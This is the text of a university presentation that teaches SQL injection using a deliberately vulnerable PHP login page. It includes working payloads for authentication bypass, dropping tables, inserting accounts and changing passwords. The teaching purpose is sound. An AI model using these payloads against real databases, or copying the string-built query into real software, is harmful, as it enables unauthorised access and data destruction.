



SQL INJECTION GAME

SQL Injection

- SQL Injection is a type of an Injection attack that makes it possible to execute malicious SQL statements. These statements control a database server behind a web application.
- Attackers can use SQL Injection vulnerabilities to bypass application security measures.
- They can go around authentication and authorization of a web page or web application and retrieve the content of the entire SQL database.
- They can also use SQL Injection to add, modify, and delete records in the database.

REAL WORLD EXAMPLES

- On August 17, 2009, the United States Justice Department charged an American citizen Albert Gonzalez and two unnamed Russians with the theft of 130 million credit card numbers using an SQL injection attack.
- In 2008 a sweep of attacks began exploiting the SQL injection vulnerabilities of Microsoft's IIS web server and SQL database server. Over 500,000 sites were exploited.

IMPORTANT SYNTAX

COMMENTS: --

Example: SELECT * FROM `table` --selects
everything

LOGIC: 'a'='a'

Example: SELECT * FROM `table` WHERE 'a'='a'

MULTI STATEMENTS: S1; S2

Example: SELECT * FROM `table`; DROP TABLE
`table`;

EXAMPLE WEBSITE

Timmothy Boyd

Hack Me! SQL Injection

Member Login

Username :

Password :

CSE 7330 - SQL Injection Presentation



<?

- ▣ function connect_to_db() {...}
- ▣ function display_form() {...}
- ▣ function grant_access() {...}
- ▣ function deny_access() {...}

```
connect_to_db();
```

```
if (!isset($_POST['submit'])) {  
    display_form();  
}
```

```
else{
```

```
    // Get Form Data
```

```
    $user = stripslashes($_POST["username"]);
```

```
    $pass = stripslashes($_POST["password"]);
```

```
    // Run Query
```

```
    $query = "SELECT * FROM `login` WHERE `user`=' $user' AND `pass`=' $pass'";
```

```
    echo $query . "<br><br>";
```

```
    $SQL = mysql_query($query);
```

```
    // If user / pass combo found, grant access
```

```
    if(mysql_num_rows($SQL) > 0)
```

```
        grant_access();
```

```
    // Otherwise deny access
```

```
    else
```

```
        deny_access();
```

```
}
```

```
?>
```

EXAMPLE WEBSITE

Timmothy Boyd

Hack Me! SQL Injection

Member Login

Username :

Password :

Login

timbo317

cse7330

CSE 7330 - SQL Injection Presentation

A diagram illustrating a SQL injection attack on a login form. On the left, two green boxes contain the text 'timbo317' and 'cse7330' in red. Two purple arrows point from these boxes to the 'Username' and 'Password' input fields of a 'Member Login' form. The form has a 'Login' button below the password field. The entire scene is set within a grey-bordered box representing a website page, with a footer that reads 'CSE 7330 - SQL Injection Presentation'.

```
SELECT * FROM `login` WHERE `user`='timbo317' AND `pass`='cse7330'
```


LOGIN DATABASE TABLE

| user | pass |
|----------|---------|
| timbo317 | cse7330 |

What Could Go
Wrong??

EXAMPLE HACK

Timmothy Boyd

Hack Me! SQL Injection

' OR 'a'='a

' OR 'a'='a



Member Login

Username :

Password :

Login

CSE 7330 - SQL Injection Presentation

```
SELECT * FROM `login` WHERE `user`=' ' OR 'a'='a' AND  
`pass`=' ' OR 'a'='a'
```

IT GETS WORSE!

Timmothy Boyd

Hack Me! SQL Injection

`' ; DROP TABLE `login` ; --`

Member Login

Username :

Password :

CSE 7330 - SQL Injection Presentation

```
SELECT * FROM `login` WHERE `user` = ' ; DROP TABLE `login` ; -- AND  
`pass` = ''
```


ALL QUERIES ARE POSSIBLE

```
SELECT * FROM `login` WHERE `user`=""; INSERT INTO  
`login` ('user','pass') VALUES ('haxor','whatever');--' AND  
`pass`="
```

```
SELECT * FROM `login` WHERE `user`=""; UPDATE `login`  
SET `pass`='pass123' WHERE `user`='timbo317';--' AND  
`pass`="
```

DISCUSSION

- What is the risk of unsecure web database?
- How the SQL injection works to bypass password checking and changing user information?